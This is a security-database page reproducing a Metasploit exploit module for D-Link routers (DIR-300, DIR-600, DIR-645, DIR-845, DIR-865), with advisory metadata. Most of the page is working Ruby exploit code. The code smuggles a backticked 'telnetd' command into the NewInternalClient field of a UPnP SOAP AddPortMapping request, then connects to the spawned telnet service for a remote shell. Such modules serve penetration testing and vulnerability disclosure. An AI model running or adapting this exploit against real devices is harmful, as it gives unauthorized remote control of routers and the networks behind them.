D-Link Devices UPnP SOAP Telnetd Command Execution

2013.09.17
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', 'Description' => %q{ Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices may be affected. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '94924' ], [ 'BID', '61005' ], [ 'EDB', '26664' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(49152) #port of UPnP SOAP webinterface ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def tel_timeout (datastore['TelnetTimeout'] || 10).to_i end def banner_timeout (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit @new_portmapping_descr = rand_text_alpha(8) @new_external_port = rand(65535) @new_internal_port = rand(65535) telnetport = rand(65535) vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else print_good("#{rhost}:#{rport} - Telnet session successfully established...") end handler(sock) end def request(cmd, type) uri = '/soap.cgi' data_cmd = "<?xml version=\"1.0\"?>" data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data_cmd << "<SOAP-ENV:Body>" if type == "add" vprint_status("#{rhost}:#{rport} - adding portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>" data_cmd << "<NewLeaseDuration></NewLeaseDuration>" data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" data_cmd << "<NewEnabled>1</NewEnabled>" data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>" data_cmd << "<NewRemoteHost></NewRemoteHost>" data_cmd << "<NewProtocol>TCP</NewProtocol>" data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>" data_cmd << "</m:AddPortMapping>" else #we should clean it up ... otherwise we are not able to exploit it multiple times vprint_status("#{rhost}:#{rport} - deleting portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>" data_cmd << "</m:DeletePortMapping>" end data_cmd << "</SOAP-ENV:Body>" data_cmd << "</SOAP-ENV:Envelope>" begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => data_cmd }) return res rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end end def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, tel_timeout) return nil if not data or data.length == 0 if data =~ /\x23\x20$/ return true end end end rescue ::Timeout::Error return nil end end end

References:

http://www.s3cur1ty.de/m1adv2013-020


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top